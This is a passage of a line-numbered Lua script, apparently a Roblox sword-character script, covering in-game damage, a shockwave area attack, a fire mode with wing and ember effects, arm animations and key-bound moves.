  9125. local critrandomizer = math.random(1,crtrate)
  9126. local rndmdamage = 0
  9127. if critrandomizer ~= 1 then
  9128. rndmdamage = math.random(mindamage,maxdamage)
  9129. damagesplat(rndmdamage,nrprsn.Head,false)
  9130. nrprsn.Humanoid:TakeDamage(rndmdamage)
  9131. elseif critrandomizer == 1 then
  9132. rndmdamage = math.random(maxdamage,crtmaxdamage)
  9133. damagesplat(rndmdamage,nrprsn.Head,true)
  9134. nrprsn.Humanoid:TakeDamage(rndmdamage)
  9135. end
  9136. local tempmod = Instance.new("Model",Workspace)
  9137. for l = 1 , rndmdamage/5 do
  9138. local meshz = Instance.new("SpecialMesh")
  9139. meshz.Scale = Vector3.new(1.5,1.5,1.5)
  9140. meshz.MeshType = "Sphere"
  9141. local shellz = Instance.new("Part")
  9142. meshz.Parent = shellz
  9143. shellz.Anchored = false
  9144. shellz.formFactor = 0
  9145. shellz.Size = Vector3.new(1,1,1)
  9146. shellz.CFrame = hitbox.CFrame
  9147. shellz.Parent = tempmod
  9148. shellz.Transparency = 0.5
  9149. shellz.BrickColor = BrickColor.new("White")
  9150. shellz.CanCollide = false
  9151. shellz.Reflectance = 0
  9152. local bv = Instance.new("BodyPosition")
  9153. bv.Parent = shellz
  9154. bv.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  9155. bv.P = bv.P + 10000
  9156. bv.position = shellz.Position + Vector3.new(math.random(-25,25),math.random(-2.5,7.5),math.random(-25,25))
  9157. coroutine.resume(coroutine.create(function()
  9158. wait(3)
  9159. bv.maxForce = Vector3.new(0,math.huge,0)
  9160. coroutine.resume(coroutine.create(function()
  9161. local dd = false
  9162. while shellz.Transparency ~= 1 and not dd do
  9163. wait(0.1)
  9164. local cc = game.Workspace:GetChildren();
  9165. for i = 1, #c do
  9166. local hum = cc[i]:findFirstChild("Humanoid")
  9167. if hum ~= nil and hum.Health ~= 0 then
  9168. local head = cc[i]:findFirstChild("Head");
  9169. if head ~= nil then
  9170. local targ = head.Position - shellz.Position;
  9171. local mag = targ.magnitude;
  9172. if mag <= 5 then
  9173. dd = true
  9174. damagesplat(5+darkboost,head,false)
  9175. hum.Health = hum.Health + 5 + darkboost
  9176. for i = 0 , 1 , 0.05 do
  9177. wait()
  9178. shellz.Transparency = 1*i
  9179. end
  9180. shellz.Parent = nil
  9181. end
  9182. end
  9183. end
  9184. end
  9185. end
  9186. end))
  9187.  
  9188. end))
  9189. local hx = false
  9190. coroutine.resume(coroutine.create(function()
  9191. for i = 0 , 1 , 0.05 do
  9192. wait()
  9193. shellz.Transparency = 1-1*i
  9194. end
  9195. shellz.Transparency = 0
  9196. end))
  9197. coroutine.resume(coroutine.create(function()
  9198. wait(60)
  9199. for ii,shellz in pairs(tempmod:GetChildren()) do
  9200. for i = 0 , 1 , 0.1 do
  9201. wait()
  9202. shellz.Transparency = 1*i
  9203. end
  9204. shellz.Parent = nil
  9205. end
  9206. tempmod.Parent = nil
  9207. end))
  9208. end
  9209. wait(0.5)
  9210. ----
  9211.   RW.C0 = CFrame.new(1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(45), math.rad(-45))
  9212.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  9213.   LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45))
  9214.   LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  9215.   w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  9216.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9217.  attack=false
  9218. bp.Parent = nil bg.Parent = nil
  9219. end
  9220.  
  9221.  
  9222. --TEST
  9223.  
  9224. hammer = Torso
  9225.  
  9226. function doDamage(hit)
  9227.  local humanoid = hit.Parent:findFirstChild("Humanoid")
  9228.  local hum = Player.Character:findFirstChild("Humanoid") -- non-nil if tool held by a character
  9229.  if humanoid~=nil and humanoid ~= hum and hum ~= nil then
  9230.   local foundd = false
  9231.   for ii = 1 , #AoETrue do
  9232.   if AoETrue[ii] == hit.Parent.Name then
  9233.   foundd = true
  9234.   end
  9235.   end
  9236.   if foundd then
  9237.   end
  9238.   --
  9239.   if not foundd then
  9240.   humanoid:TakeDamage(5)
  9241.   if Mode == "Fire" then
  9242.   end
  9243.   damagesplat(5,humanoid.Parent.Torso,false)
  9244.   table.insert(AoETrue,hit.Parent)
  9245.   end
  9246.  
  9247.   if humanoid.Health <= 0 then
  9248.    local c = hit.CFrame
  9249.    hit.CFrame = CFrame.new(hit.Position)
  9250.    hit.CFrame = c
  9251.   end
  9252.   delay(1, function() end)
  9253.  else
  9254.   local c = hit.CFrame hit.CFrame = CFrame.new(hit.Position) hit.CFrame = c
  9255.  end
  9256. end
  9257. function bewm(obj, pos, notme)
  9258.  if (obj ~= notme) then
  9259.   if (obj.className == "Part") or (obj.className == "Seat") then
  9260.    if (not obj.Anchored) and (((pos - obj.Position) * Vector3.new(1, 0, 1)).magnitude < 24) and (pos.y <= obj.Position.y + 2) and (pos.y >= obj.Position.y - 2) then
  9261.     delay((pos - obj.Position).magnitude / 24, function() obj.Velocity = ((obj.Position - pos).unit + Vector3.new(0, 0.5, 0)) * 96 + obj.Velocity obj.RotVelocity = obj.RotVelocity + Vector3.new(obj.Position.z - pos.z, 0, pos.x - obj.Position.x).unit * 40 doDamage(obj)    end)
  9262.    end
  9263.   elseif (obj.className == "Model") or (obj.className == "Hat") or (obj.className == "Tool") or (obj == workspace) then
  9264.    local list = obj:GetChildren()
  9265.    for x = 1, #list do
  9266.     bewm(list[x], pos, notme)
  9267.    end
  9268.   end
  9269.  end
  9270. end
  9271.  
  9272. function attackr()
  9273. local shockRing = Instance.new("Part")
  9274. shockRing.formFactor = 2
  9275. shockRing.Size = Vector3.new(1, 0.4, 1)
  9276. shockRing.Anchored = true
  9277. shockRing.Locked = true
  9278. shockRing.CanCollide = false
  9279. shockRing.archivable = false
  9280. shockRing.TopSurface = 0
  9281. shockRing.BottomSurface = 0
  9282. shockRing.Transparency = 0
  9283. if Mode == "Fire" then
  9284. shockRing.BrickColor = BrickColor.new("Really red")
  9285. elseif Mode == "Dark" then
  9286. shockRing.BrickColor = BrickColor.new("Bright violet")
  9287. elseif Mode == "Ice" then
  9288. shockRing.BrickColor = BrickColor.new("Bright blue")
  9289. shockRing.Reflectance = 0.2
  9290. end
  9291. local decal = Instance.new("CylinderMesh")
  9292. decal.Parent = shockRing
  9293. decal.Scale = Vector3.new(1,0.1,1)
  9294.  wait(0.2)
  9295.  local pos = hammer.CFrame * (Vector3.new(0, -2.5, 0))
  9296.  bewm(game.Workspace, pos, Player.Character)
  9297.  shockRing.CFrame = CFrame.new(pos)
  9298.  for x = 0, 1 , 0.0625 do
  9299.   delay((x*16) / 30, function() shockRing.Parent = nil shockRing.Size = Vector3.new(0, 0.4, 0) + Vector3.new(3.2, 0, 3.2) * (x*16) shockRing.Transparency = 1*x    shockRing.Parent = Player.Character end)
  9300.  end
  9301.  delay(1, function()
  9302.   shockRing.Parent = nil  
  9303.   for ii = 1 , #AoETrue do
  9304.   table.remove(AoETrue,#AoETrue)
  9305.   end end)
  9306. end
  9307. local modemodel = Instance.new("Model",swordholder)
  9308. local mrdychng = false
  9309. function FireMode()
  9310. attack=true
  9311. Mode = "Fire"
  9312. fireboost = 5
  9313. mrdychng = true
  9314.  for i = 0 , 1 , 0.1 do
  9315.                 wait()
  9316.   RW.C0 = CFrame.new(1+0.5*i,0.5+1*i,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+55*i), math.rad(45-45*i), math.rad(-45+45*i))
  9317.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  9318.   LW.C0 = CFrame.new(-1+1*i,0.5+1*i,-0.5-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80-80*i),math.rad(-45+45*i),math.rad(45+65*i))
  9319.   w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  9320.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9321.  end
  9322. cs(Head,1.5)
  9323. local tempmod = Instance.new("Model",swordholder)
  9324. for l = 1 , 20 do
  9325. local meshz = Instance.new("SpecialMesh")
  9326. meshz.Scale = Vector3.new(0.5,0.5,0.5)
  9327. meshz.MeshType = "Sphere"
  9328. local shellz = Instance.new("Part")
  9329. meshz.Parent = shellz
  9330. shellz.Anchored = false
  9331. shellz.formFactor = 0
  9332. shellz.Size = Vector3.new(1,1,1)
  9333. shellz.CFrame = hitbox.CFrame * CFrame.new(math.random(-5,5),math.random(-5,5),math.random(-5,5))
  9334. shellz.Parent = tempmod
  9335. shellz.Transparency = 0.5
  9336. shellz.BrickColor = BrickColor.new("Really red")
  9337. shellz.CanCollide = false
  9338. shellz.Reflectance = 0
  9339. local bv = Instance.new("BodyPosition")
  9340. bv.Parent = shellz
  9341. bv.maxForce = Vector3.new(200000,200000,200000)
  9342. bv.position = shellz.Position
  9343. coroutine.resume(coroutine.create(function()
  9344. for i = 0 , 1 , 0.025 do
  9345. wait()
  9346. shellz.Transparency = 1-1*i
  9347. end
  9348. shellz.Transparency = 0
  9349. end))
  9350. coroutine.resume(coroutine.create(function()
  9351. wait(0.05)
  9352. bv.position = hitbox.Position
  9353. for i = 1 , 20 do
  9354. wait(0.1)
  9355. bv.position = shell.Position
  9356. end
  9357. shellz.Parent = nil
  9358. end))
  9359. wait(0.01)
  9360. end
  9361. coroutine.resume(coroutine.create(function ()
  9362. wait(0.25)
  9363. tempmod.Parent = nil
  9364. end))
  9365.  for i = 0 , 1 , 0.2 do
  9366.                 wait()
  9367.   RW.C0 = CFrame.new(1.5,1.5-1*i,0) * CFrame.fromEulerAnglesXYZ(math.rad(135-45*i), math.rad(0), math.rad(0))
  9368.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  9369.   LW.C0 = CFrame.new(0,1.5-1*i,-1) * CFrame.fromEulerAnglesXYZ(math.rad(0),math.rad(0),math.rad(110-45*i))
  9370.   w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  9371.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9372.  end
  9373. bs(Head,0.75)
  9374. attackr()
  9375. for zz = 1 , 1  do
  9376. local mesh = Instance.new("SpecialMesh")
  9377. mesh.MeshType = "FileMesh"
  9378. mesh.MeshId = "http://www.roblox.com/asset/?id=20329976"
  9379. mesh.Scale = Vector3.new(10,5,10) * Vector3.new(0.01,0.01,0.01)
  9380. local shell = Instance.new("Part")
  9381. mesh.Parent = shell
  9382. shell.Anchored = true
  9383. shell.formFactor = 1
  9384. shell.Size = Vector3.new(1,1,1)
  9385. shell.CFrame = Torso.CFrame * CFrame.new(0,-1.5,0)
  9386. shell.Parent = swordholder
  9387. shell.Transparency = 0
  9388. shell.BrickColor = BrickColor.new("Really red")
  9389. shell.CanCollide = false
  9390. coroutine.resume(coroutine.create(function()
  9391. for i = 0 , 1 , 0.075 do
  9392. wait()
  9393. mesh.Scale = Vector3.new(20,5,20) * Vector3.new(i,1,i)
  9394. shell.Transparency = 1*i
  9395. end
  9396. shell.Transparency = 1
  9397. shell.Parent = nil
  9398. end))
  9399. end
  9400. for zz = 1 , 1  do
  9401. local mesh = Instance.new("SpecialMesh")
  9402. mesh.MeshType = "FileMesh"
  9403. mesh.MeshId = "http://www.roblox.com/asset/?id=20329976"
  9404. mesh.Scale = Vector3.new(10,20,10) * Vector3.new(0.01,0.01,0.01)
  9405. local shell = Instance.new("Part")
  9406. mesh.Parent = shell
  9407. shell.Anchored = true
  9408. shell.formFactor = 1
  9409. shell.Size = Vector3.new(1,1,1)
  9410. shell.CFrame = Torso.CFrame * CFrame.new(0,1,0)
  9411. shell.Parent = swordholder
  9412. shell.Transparency = 0
  9413. shell.BrickColor = BrickColor.new("Really red")
  9414. shell.CanCollide = false
  9415. coroutine.resume(coroutine.create(function()
  9416. for i = 0 , 1 , 0.05 do
  9417. wait()
  9418. mesh.Scale = Vector3.new(10,20,10) * Vector3.new(i,1,i)
  9419. shell.Transparency = 1*i
  9420. end
  9421. shell.Transparency = 1
  9422. shell.Parent = nil
  9423. end))
  9424. end
  9425. for zz = 1 , 3  do
  9426. local mesh = Instance.new("SpecialMesh")
  9427. mesh.MeshType = "Sphere"
  9428. mesh.Scale = Vector3.new(5*zz,5*zz,5*zz) * Vector3.new(0.01,0.01,0.01)
  9429. local shell = Instance.new("Part")
  9430. mesh.Parent = shell
  9431. shell.Anchored = true
  9432. shell.formFactor = 3
  9433. shell.Size = Vector3.new(1,1,1)
  9434. shell.CFrame = Torso.CFrame * CFrame.new(0,-1,0)
  9435. shell.Parent = swordholder
  9436. shell.Transparency = 0
  9437. if math.fmod(zz,2) == 1 then
  9438. shell.BrickColor = BrickColor.new("Bright orange")
  9439. elseif math.fmod(zz,2) == 0.5 then
  9440. shell.BrickColor = BrickColor.new("Bright red")
  9441. else
  9442. shell.BrickColor = BrickColor.new("Bright yellow")
  9443. end
  9444. shell.CanCollide = false
  9445. coroutine.resume(coroutine.create(function()
  9446. for i = 0 , 1 , 0.025 do
  9447. wait()
  9448. mesh.Scale = Vector3.new(10*zz,10*zz,10*zz) * Vector3.new(i,i,i)
  9449. shell.Transparency = 1*i
  9450. end
  9451. shell.Transparency = 1
  9452. shell.Parent = nil
  9453. end))
  9454. end
  9455.  
  9456.  
  9457. for ii,z in pairs(modemodel:GetChildren()) do
  9458. z.Parent = nil
  9459. end
  9460.  
  9461. local wing1m = Instance.new("BlockMesh")
  9462. wing1m.Scale = Vector3.new(1,1,1)
  9463. local wing1p = Instance.new("Part")
  9464. wing1p.formFactor = 3
  9465. wing1p.CanCollide = false
  9466. wing1p.Name = "FlameWingP1"
  9467. wing1p.Locked = true
  9468. wing1p.Size = Vector3.new(0.2,0.2,0.2)
  9469. wing1p.Parent = modemodel
  9470. wing1m.Parent = wing1p
  9471. wing1p.BrickColor = BrickColor.new("Bright red")
  9472. wing1p.Transparency = 1
  9473. local wing1w = Instance.new("Weld")
  9474. wing1w.Parent = wing1p
  9475. wing1w.Part0 = wing1p
  9476. wing1w.Part1 = Torso
  9477. wing1w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0 , 0)
  9478. wing1w.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,math.rad(0)) * CFrame.new(-1, 0, 0)
  9479. local wing2m = Instance.new("BlockMesh")
  9480. wing2m.Scale = Vector3.new(1,1,1)
  9481. local wing2p = Instance.new("Part")
  9482. wing2p.formFactor = 3
  9483. wing2p.CanCollide = false
  9484. wing2p.Name = "FlameWingP2"
  9485. wing2p.Locked = true
  9486. wing2p.Size = Vector3.new(0.2,0.2,0.2)
  9487. wing2p.Parent = modemodel
  9488. wing2m.Parent = wing2p
  9489. wing2p.BrickColor = BrickColor.new("Bright red")
  9490. wing2p.Transparency = 1
  9491. local wing2w = Instance.new("Weld")
  9492. wing2w.Parent = wing2p
  9493. wing2w.Part0 = wing2p
  9494. wing2w.Part1 = Torso
  9495. wing2w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0 , 0)
  9496. wing2w.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,math.rad(0)) * CFrame.new(1, 0, 0)
  9497. coroutine.resume(coroutine.create(function()
  9498. for ringi = math.rad(-20) , math.rad(130) , math.rad(10) do
  9499. wait(0.1)
  9500. local ringm = Instance.new("BlockMesh")
  9501. ringm.Scale = Vector3.new(1,1,1)
  9502. local ringp = Instance.new("Part")
  9503. ringp.formFactor = 3
  9504. ringp.CanCollide = false
  9505. ringp.Name = "FlameWing"..ringi
  9506. ringp.Locked = true
  9507. ringp.Size = Vector3.new(0.2,2,0.8)
  9508. ringp.Parent = modemodel
  9509. ringm.Parent = ringp
  9510. ringp.BrickColor = BrickColor.new("Bright red")
  9511. ringp.Reflectance = 0.1
  9512. ringp.Transparency = 1
  9513. local ringw = Instance.new("Weld")
  9514. ringw.Parent = ringp
  9515. ringw.Part0 = ringp
  9516. ringw.Part1 = wing1p
  9517. ringw.C1 = CFrame.fromEulerAnglesXYZ(ringi, 0, 0) * CFrame.new(0, ringp.Size.y/4 , 0)
  9518. ringw.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,math.rad(45)) * CFrame.new(0, -1, 0) --* CFrame.new(-0.6, 0, 0) ---msh5.Scale.x/1.625
  9519. coroutine.resume(coroutine.create(function()
  9520. for i = 0 , 1 , 0.025 do
  9521. wait()
  9522. ringp.Transparency = 1-1*i
  9523. end
  9524. ringp.Transparency = 0
  9525. end))
  9526. end end))
  9527. coroutine.resume(coroutine.create(function()
  9528. for ringi = math.rad(-20) , math.rad(130) , math.rad(10) do
  9529. wait(0.1)
  9530. local ringm = Instance.new("BlockMesh")
  9531. ringm.Scale = Vector3.new(1,1,1)
  9532. local ringp = Instance.new("Part")
  9533. ringp.formFactor = 3
  9534. ringp.CanCollide = false
  9535. ringp.Name = "FlameWing2_"..ringi
  9536. ringp.Locked = true
  9537. ringp.Size = Vector3.new(0.2,2,0.8)
  9538. ringp.Parent = modemodel
  9539. ringm.Parent = ringp
  9540. ringp.BrickColor = BrickColor.new("Bright red")
  9541. ringp.Reflectance = 0.1
  9542. ringp.Transparency = 1
  9543. local ringw = Instance.new("Weld")
  9544. ringw.Parent = ringp
  9545. ringw.Part0 = ringp
  9546. ringw.Part1 = wing2p
  9547. ringw.C1 = CFrame.fromEulerAnglesXYZ(ringi+math.rad(0), 0, 0) * CFrame.new(-0, ringp.Size.y/4 , 0)
  9548. ringw.C0 = CFrame.fromEulerAnglesXYZ(0, 0,math.rad(-45)) * CFrame.new(-0, -1, 0)
  9549. coroutine.resume(coroutine.create(function()
  9550. for i = 0 , 1 , 0.025 do
  9551. wait()
  9552. ringp.Transparency = 1-1*i
  9553. end
  9554. ringp.Transparency = 0
  9555. end))
  9556. end end))
  9557. local wingp1m = Instance.new("SpecialMesh")
  9558. wingp1m.Scale = Vector3.new(1,1,1)
  9559. wingp1m.MeshType = "Sphere"
  9560. local wingp1p = Instance.new("Part")
  9561. wingp1p.formFactor = 3
  9562. wingp1p.CanCollide = false
  9563. wingp1p.Name = "FlameOrb"
  9564. wingp1p.Locked = true
  9565. wingp1p.Size = Vector3.new(1,1,1)
  9566. wingp1p.Parent = modemodel
  9567. wingp1m.Parent = wingp1p
  9568. wingp1p.Reflectance = 0.2
  9569. wingp1p.BrickColor = BrickColor.new("Bright red")
  9570. local wingp1w = Instance.new("Weld")
  9571. wingp1w.Parent = wingp1p
  9572. wingp1w.Part0 = wingp1p
  9573. wingp1w.Part1 = Torso
  9574. wingp1w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0 , 0)
  9575. wingp1w.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,math.rad(0)) * CFrame.new(0, -0.5, 0.5)
  9576. coroutine.resume(coroutine.create(function()
  9577. for i = 0 , 1 , 0.025 do
  9578. wait()
  9579. wingp1p.Transparency = 1-1*i
  9580. end
  9581. wingp1p.Transparency = 0
  9582. end))
  9583. local Firee = modemodel
  9584. local Spawn = wingp1p
  9585. local colors = {BrickColor.new("Bright red"),BrickColor.new("Bright yellow"),BrickColor.new("Bright orange")}
  9586. local Embers = {}
  9587. local modelz = Instance.new("Model",Firee)
  9588. modelz.Name = "FireHolder"
  9589. for X = 1, 15 do
  9590. local f = Instance.new("Part")
  9591. f.Parent = nil
  9592. f.BrickColor = colors[math.random(1, # colors)]
  9593. f.Size = Vector3.new(1,1,1)
  9594. f.formFactor = 3
  9595. f.Anchored = true
  9596. f.Locked = true
  9597. f.CanCollide = false
  9598. f.Transparency = 0.5
  9599. f.Name = "Fire"
  9600. f.TopSurface = 0
  9601. f.BottomSurface = 0
  9602. Instance.new("BlockMesh",f)
  9603. table.insert(Embers, f)
  9604. end
  9605. local R = 0
  9606. coroutine.resume(coroutine.create(function ()
  9607. repeat
  9608. wait()
  9609. R = R + 1
  9610. for X = 1, # Embers do
  9611. Embers[X].Parent = modelz
  9612. local FM = math.fmod(R + X, # Embers)
  9613. if FM == 1 then
  9614. RandPos = Vector3.new(math.random(-Spawn.Size.x * 5, Spawn.Size.x * 5) / 10, Spawn.Size.y / 2, math.random(-Spawn.Size.x * 5, Spawn.Size.x * 5) / 10)
  9615. RandDir = Vector3.new(math.random(-100,100), math.random(-100,100), math.random(-100,100))
  9616. Embers[X].CFrame = CFrame.new(Spawn.Position + RandPos, (Spawn.Position * rndm) + RandPos + RandDir)
  9617. Embers[X].Mesh.Scale = Vector3.new(1,1,1)
  9618. else
  9619. Embers[X].CFrame = Embers[X].CFrame + Embers[X].CFrame.lookVector*0.5
  9620. Embers[X].Mesh.Scale = Embers[X].Mesh.Scale - Vector3.new(0.1,0.1,0.1)
  9621. end
  9622. end
  9623. until wingp1p.Parent == nil
  9624. for i = 0 ,1 , 0.1 do
  9625. wait(0.2)
  9626. for X = 1, # Embers do
  9627. Embers[X].Transparency = 0.5+0.5*i
  9628. end
  9629. end
  9630. for X = 1, # Embers do
  9631. Embers[X].Parent = nil
  9632. end
  9633. end))
  9634.   for ii = 1 , #AoETrue do
  9635.   table.remove(AoETrue,#AoETrue)
  9636.   end
  9637.  wait(0.25)
  9638.  for i = 0 , 1 , 0.1 do
  9639.                 wait()
  9640.   RW.C0 = CFrame.new(1.5,0.5+0.5*i,0) * CFrame.fromEulerAnglesXYZ(math.rad(90+25*i), math.rad(0), math.rad(0))
  9641.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  9642.   LW.C0 = CFrame.new(0,0.5+0.5*i,-1) * CFrame.fromEulerAnglesXYZ(math.rad(0),math.rad(0),math.rad(65+25*i))
  9643.   w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  9644.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9645.  end
  9646.  for i = 0 , 1 , 0.1 do
  9647.                 wait()
  9648.   RW.C0 = CFrame.new(1.5,1-0.5*i,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(115-35*i), math.rad(45*i), math.rad(-45*i))
  9649.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  9650.   LW.C0 = CFrame.new(-1*i,1-0.5*i,-1+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80*i),math.rad(0),math.rad(90-45*i))
  9651.   w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  9652.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180-180*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9653.  end
  9654.   RW.C0 = CFrame.new(1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(45), math.rad(-45))
  9655.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  9656.   LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45))
  9657.   w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  9658.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9659. attack=false
  9660. wait(1.5)
  9661. mrdychng = false
  9662. end
  9663. function NeutralMode()
  9664. attack=true
  9665. Mode = "None"
  9666. fireboost = 0
  9667. iceboost = 0
  9668. darkboost = 0
  9669. ss(Head,1)
  9670. cs(Head,2)
  9671. mrdychng = true
  9672.  for i = 0 , 1 , 0.2 do
  9673.                 wait()
  9674.   RW.C0 = CFrame.new(1+0.5*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i), math.rad(45), math.rad(-45+45*i))
  9675.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(100*i), math.rad(0), math.rad(0))
  9676.   LW.C0 = CFrame.new(-1-0.5*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i),math.rad(-45),math.rad(45-45*i))
  9677.   LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(100*i), math.rad(0), math.rad(0))
  9678.   w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  9679.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(70*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9680.  end
  9681. coroutine.resume(coroutine.create(function()
  9682. for ii,z in pairs(modemodel:GetChildren()) do
  9683. if string.sub(z.Name,0,string.len(z.Name)-1) ~= "FlameWingP" then
  9684. wait()
  9685. coroutine.resume(coroutine.create(function()
  9686. for i = 0 , 1 , 0.1 do
  9687. wait()
  9688. z.Transparency = (1-z.Transparency)*i
  9689. end
  9690. z.Parent = nil
  9691. end))
  9692. end
  9693. end
  9694. wait(0.5)
  9695. for ii,z in pairs(modemodel:GetChildren()) do
  9696. wait()
  9697. z.Parent = nil
  9698. end
  9699. end))
  9700.  for i = 0 , 1 , 0.1 do
  9701.                 wait()
  9702.   RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(45), math.rad(0))
  9703.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(100+20*i), math.rad(0), math.rad(0))
  9704.   LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(-45),math.rad(0))
  9705.   LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(100+20*i), math.rad(0), math.rad(0))
  9706.   w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  9707.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(70+20*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9708.  end
  9709.  
  9710.  wait(0.25)
  9711.  for i = 0 , 1 , 0.1 do
  9712.                 wait()
  9713.   RW.C0 = CFrame.new(1.5-0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i), math.rad(45), math.rad(-45*i))
  9714.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(120-120*i), math.rad(0), math.rad(0))
  9715.   LW.C0 = CFrame.new(-1.5+0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i),math.rad(-45),math.rad(45*i))
  9716.   LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(120-120*i), math.rad(0), math.rad(0))
  9717.   w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  9718.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90-90*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9719.  end
  9720.   RW.C0 = CFrame.new(1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(45), math.rad(-45))
  9721.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  9722.   LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45))
  9723.   LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  9724.   w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  9725.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9726. attack=false
  9727. wait(0.5)
  9728. mrdychng = false
  9729. end
  9730.  
  9731. function ob1d(mouse)
  9732. hold = true
  9733. if attack == true then return end
  9734. end
  9735. function ob1u(mouse)  
  9736. end
  9737. buttonhold = false
  9738. function key(key)
  9739. if attack == true then return end
  9740. if key == "q" then
  9741. if attacktype == 1 then
  9742. Combo1a()
  9743. elseif attacktype == 2 then
  9744. Combo1b()
  9745. elseif attacktype == 3 then
  9746. Combo1c()
  9747. end
  9748. end
  9749. if key == "e" then
  9750. if attacktype == 1 then
  9751. BlizzardSword()
  9752. end
  9753. end
  9754. if key == "r" then
  9755. FlameTrail()
  9756. end
  9757. if key == "t" then
  9758. LifeDrain()
  9759. end
  9760. if Mode == "None" and not mrdychng then
  9761. if key == "z" then
  9762. FireMode()
  9763. end
  9764. elseif not mrdychng then
  9765. if key == "z" or key == "x" or key == "c" then
  9766. NeutralMode()
